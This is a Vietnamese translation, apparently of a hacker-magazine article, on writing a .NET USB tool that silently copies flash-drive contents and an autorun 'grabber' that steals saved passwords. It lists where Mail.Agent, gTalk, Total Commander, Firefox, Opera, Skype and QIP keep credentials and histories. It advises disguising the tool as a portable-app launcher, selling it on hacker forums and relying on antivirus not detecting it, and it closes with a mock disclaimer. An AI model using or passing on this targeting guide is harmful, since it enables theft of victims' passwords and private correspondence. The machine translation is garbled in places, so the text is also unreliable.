    Vấn đề là xDirectory là lớp của bên thứ ba. Ngày xửa ngày xưa, tôi tìm thấy nó trên Internet và kể từ đó tôi thường sử dụng nó trong các dự án của mình. Tôi thích nó vì để sao chép các thư mục con bạn chỉ cần gọi một phương thức. Ngoài ra, nó cho phép bạn cài đặt các bộ lọc.

    Có thể làm mà không cần nó. Chúng tôi tham gia các lớp học tiêu chuẩn, một kỹ thuật mà tất cả các lập trình viên đều biết đến - đệ quy - và viết vài chục dòng mã. Than ôi, tôi hoàn toàn không muốn làm điều này. Đây là thế kỷ 21, chúng ta cần tối ưu hóa hành động của mình đến mức tối đa và xDirectory sẽ giúp chúng ta điều này.

    Mô-đun có lớp nằm trên đĩa của chúng tôi và bạn có thể tìm hiểu về mục đích của các phương thức/thuộc tính/sự kiện bằng cách xem bảng tương ứng.

    Thuộc tính của lớp xDirectory

    Các phương thức của lớp xDirectory

    Hãy thử chạy ứng dụng của chúng tôi và lắp ổ flash USB. Trong vài giây (tùy thuộc vào mức độ lộn xộn của ổ flash của bạn), toàn bộ nội dung của ổ USB sẽ được chuyển vào thư mục mà từ đó bạn khởi chạy ứng dụng mới tạo.

    Bộ lấy USB

    Bây giờ chúng ta hãy xem xét vấn đề nghịch đảo và nói về các sắc thái của việc tạo ra cái gọi là. công cụ lấy ổ đĩa flash. Nguyên tắc sáng tạo hoàn toàn giống nhau. Bạn cần viết một ứng dụng đơn giản sẽ tự động khởi chạy sau khi cài đặt ổ đĩa flash.

    Trong quá trình hoạt động, ứng dụng sẽ tìm kiếm thông qua các thư mục/khóa đăng ký nơi các chương trình phổ biến lưu trữ mật khẩu đã lưu và nếu có thể, hãy sao chép tất cả thông tin vào một trong các thư mục của nó. Để ngăn chặn autoran của bạn khơi dậy sự nghi ngờ của người dùng kém, hãy chịu khó ngụy trang nó một cách cẩn thận. Ví dụ, trong menu khởi chạy.

    Có lẽ bạn đã biết rằng cái gọi là phiên bản di động của ứng dụng hiện đã trở nên rất phổ biến, tức là các chương trình có thể hoạt động trực tiếp từ ổ đĩa flash. Tốt nhất là chơi trên này. Hãy thiết kế chương trình theo phong cách phù hợp và để hợp lý, hãy đưa vào một số nút được thiết kế để khởi chạy bất kỳ chương trình nào. Tùy chọn thiết kế của tôi được hiển thị trong hình.

    Chúng ta sẽ cướp như thế nào?

    Tôi sẽ nói ngay rằng không cần phải thực hiện những hành động siêu hack ở đây. Hầu hết các chương trình đều lưu trữ dữ liệu cá nhân trong thư mục Tài liệu và Cài đặt\Người dùng\Dữ liệu Ứng dụng\%ProgramName% hoặc trong sổ đăng ký. Tên chương trình có nghĩa là bất kỳ chương trình nào. Nếu bạn phải đối mặt với tùy chọn đầu tiên, thì bạn sẽ phải sử dụng lớp xDirectory vốn đã quen thuộc (hoặc các phương thức tiêu chuẩn để làm việc với tệp) và sử dụng nó để sao chép mọi thứ bạn cần. Trong trường hợp thứ hai, bạn sẽ phải làm việc với cơ quan đăng ký. Tôi sẽ không đưa ra ví dụ về sao chép tệp (chúng tôi đã xem xét nó), nhưng tôi sẽ chỉ cho bạn cách tương tác với sổ đăng ký bằng các công cụ .NET (sử dụng ví dụ xác định đường dẫn đến thư mục TC):

    RegisterKey readKey = Register.CurrentUser.OpenSubKey(" software\\Ghisler\\Total Commander"); khóa chuỗi = (chuỗi) readKey.GetValue("InstallDir");

    Đó là tất cả. Sẽ không còn mã nào nữa. Kiến thức này đủ để bạn đánh cắp các tập tin có thông tin có giá trị. Để thực hiện công việc dễ dàng hơn một chút, tôi đã chuẩn bị một danh sách các chương trình phổ biến nhất và mô tả tất cả các cách chúng lưu trữ dữ liệu người dùng đã lưu.

    Thư.Agent

    Messenger từ Mail.ru hiện rất phổ biến đối với người dùng bình thường (đặc biệt là phụ nữ). Mục tiêu rõ ràng, nhiệm vụ được đặt ra nên chúng tôi quan tâm:

  • Lịch sử. MA lưu trữ toàn bộ lịch sử trao đổi thư từ của người dùng trong Documents và setting\%User%\Application Data\Mra\base . Có một tập tin trong thư mục cơ sở mra.dbs. Trên thực tế, đây là tập tin lịch sử.
  • Danh sách liên hệ. Danh sách liên hệ nằm trong thư mục MRA\%user account%\clist5.txt. Xin lưu ý rằng có thể có nhiều người dùng làm việc với mail.agent (hoặc một người dùng có thể có nhiều tài khoản). Do đó, điều thông minh nhất cần làm là sao chép tất cả các thư mục có ký hiệu “@” trong tên của chúng.
  • Mật khẩu. Mật khẩu (chính xác hơn là hàm băm của nó) cho tài khoản người dùng nằm trong sổ đăng ký dọc theo đường dẫn - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% trong tham số ####password.
  • gTalk

    Công ty Google tạo ra các sản phẩm tiện lợi và thiết thực, bao gồm cả ứng dụng khách gabber - gTalk. Hôm nay gTalk vẫn chưa phổ biến lắm. Nó không được cài đặt trên mọi PC thứ hai, nhưng đôi khi nó vẫn xảy ra và, để đúng chủ đề, tốt hơn hết là bạn nên hướng dẫn ngay cho chương trình của chúng tôi cách lấy mật khẩu từ trình nhắn tin này. gTalk lưu trữ mật khẩu cho tất cả các tài khoản trong sổ đăng ký - HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts. Chủ đề này liệt kê tất cả các tài khoản đã từng đăng nhập gTalk. Mật khẩu tài khoản được viết bằng tham số chuỗi pw.

    Tổng chỉ huy

    Tổng chỉ huy cho đến nay là trình quản lý tập tin phổ biến nhất. Chương trình chứa khoảng một toa xe và một xe đẩy nhỏ (và số lượng tương tự có thể được thêm vào chương trình bằng cách sử dụng các plugin bổ sung). Chúng tôi chỉ quan tâm đến ứng dụng khách FTP tích hợp. Nhiều người sử dụng nó và tất nhiên mật khẩu sẽ được lưu lại.

    TC, không giống như nhiều chương trình khác, không lưu trữ mật khẩu trong sổ đăng ký mà sử dụng các tệp ini cũ. Mật khẩu, cũng như tất cả dữ liệu cần thiết để kết nối với máy chủ (ip, cổng, tên người dùng, v.v.) Tổng chỉ huy lưu trữ trong một tập tin wcx_ftp.ini, nằm trong thư mục chương trình. Đường dẫn đến thư mục nơi nó được cài đặt Tổng chỉ huy, bạn có thể tìm hiểu từ sổ đăng ký. Nhìn vào nhánh HKEY_CURRENT_USER\Software\Ghisler\Total Commander.

    FireFox

    Ngày nay, trình duyệt không chỉ là một chương trình dành cho du lịch WEB mà còn là một sự kết hợp hoàn chỉnh, ngoài nhiều khả năng khác nhau, còn lưu trữ rất nhiều thông tin bí mật. Một ví dụ điển hình về điều này là các biểu mẫu web. 99% các trang web hiện đại yêu cầu đăng ký. Việc ghi nhớ và liên tục ghi nhớ tổ hợp thông tin đăng nhập/mật khẩu cho mỗi trang web là một nhiệm vụ không thực tế, đặc biệt nếu bạn là người dùng nâng cao và việc lướt Internet không bị giới hạn ở Odnoklassniki và VKontakte.

    Các nhà phát triển đã giúp cuộc sống của người dùng trở nên dễ dàng hơn và xây dựng cái gọi là “kho mật khẩu” vào các chương trình. Tôi đã đăng ký, đăng nhập bằng tài khoản của mình, yêu cầu trình duyệt ghi nhớ thông tin đăng nhập của tôi - và quên mất. Lần tiếp theo bạn truy cập, tất cả những gì bạn phải làm là thực hiện một vài cú nhấp chuột và bạn đã ở trên trang web. Vì trình duyệt lưu mật khẩu nên chúng ta có cơ hội đánh cắp toàn bộ cơ sở dữ liệu của nó.

  • sessionstore.js - tệp chứa tất cả các phiên đã lưu.
  • signons3.txt - mật khẩu được mã hóa (dành cho phiên bản thứ ba của FF).
  • signons.sqlite - Cơ sở dữ liệu SQLite chứa tất cả mật khẩu được mã hóa.
  • key3.db là cơ sở dữ liệu chứa các khóa chứng chỉ.
  • Tất cả các tệp này đều nằm trong Tài liệu và Cài đặt quen thuộc\%UserName%\Application Data\Mozilla\FireFox\Profiles\%Profile Name% .

    Opera

    Opera- một trình duyệt rất phổ biến đối với người dùng Nga. Đương nhiên, chúng ta không thể bỏ qua nó. Vì vậy, tình hình với Opera cũng tương tự như với FireFox. Tất cả mật khẩu được lưu trong trình duyệt được lưu trữ tại Document and Setting\%UserName%\Application Data\Opera\profile trong tệp Wands.dat. Hóa ra khi phát hiện ra Opera, chúng ta sẽ hành động tương tự như trường hợp của FireFox.

    Ứng dụng trò chuyện

    Sự phổ biến của Skype đang tăng lên mỗi ngày. Nhiều người sử dụng nó không phải như một phương tiện để thực hiện cuộc gọi mà để trò chuyện tầm thường, thuận tiện. Tất cả dữ liệu bí mật, như bạn mong đợi, đều nằm trong hồ sơ người dùng (cùng nơi mà Opera hoặc FF lưu trữ nó). Để “tư nhân hóa” chúng, bạn sẽ phải sao chép hồ sơ người dùng từ Document and Setting\%userName%\Application Data\Skype\ và xuất nhánh đăng ký - HKEY_CURRENT_USER\Software\Skype\ProtectedStorage.

    QIP

    Giống như hầu hết các chương trình được mô tả trước đây, QIP lưu trữ tất cả mật khẩu đã lưu trong Dữ liệu ứng dụng\qip.

    Sao chép hoàn tất

    Công nghệ .NET đã đơn giản hóa rất nhiều nhiệm vụ của chúng tôi, do đó tất cả việc mã hóa được giảm xuống chỉ còn gọi một vài phương thức. Tất nhiên, bạn có thể nói rằng điều này không hay và sẽ hiệu quả hơn nhiều khi viết những thứ như vậy trong WinAPI hoặc ASM. Ở một khía cạnh nào đó, tôi đồng ý với bạn, nhưng hãy nhớ rằng trong WinAPI và đặc biệt là trong Asma. viết một chương trình như thế này sẽ không thể nhanh chóng được. Trong khi những người khác đang viết mã dài hàng km, bạn và tôi sẽ gặt hái được thành công. Chúc may mắn trong việc lập trình, và nếu bạn có bất kỳ câu hỏi nào, vui lòng viết thư cho chúng tôi.

    Đừng quên, nhiều người dùng lưu trữ thông tin bí mật trong thư mục “Tài liệu của tôi”. Ở mức tối thiểu, có thể có các tài liệu làm việc thú vị và đôi khi là toàn bộ tệp có mật khẩu. Có một lần (ở công việc cũ của tôi), tôi phát hiện trên máy tính của một kế toán viên có một tập tin được định dạng gọn gàng chứa mật khẩu dành cho khách hàng ngân hàng.

    Là một người bạn thực sự, bạn nên giúp tất cả những người này sao lưu thông tin bí mật của họ.

    Trên nhiều diễn đàn hacker có rất nhiều quảng cáo rao bán phần mềm loại này. Giá khác nhau - từ 10$ đến 100$. Bằng cách hoàn thiện các ví dụ được thảo luận trong bài viết, bạn có thể kiếm tiền cho một lớp vỏ bánh mì đen với trứng cá muối. Tôi nhắc lại, điều chính là tiếp cận vấn đề một cách sáng tạo, và mọi thứ chắc chắn sẽ ổn thỏa. Một lần nữa, nó không được phần mềm chống vi-rút phát hiện;).

    Cảnh báo!

    Chúng tôi sử dụng chương trình này dành riêng để sao lưu kịp thời nội dung của ổ đĩa flash vào đĩa và sao lưu mật khẩu vào ổ đĩa flash. Và bạn đã nghĩ gì? Việc sử dụng trái phép phần mềm như vậy sẽ bị trừng phạt!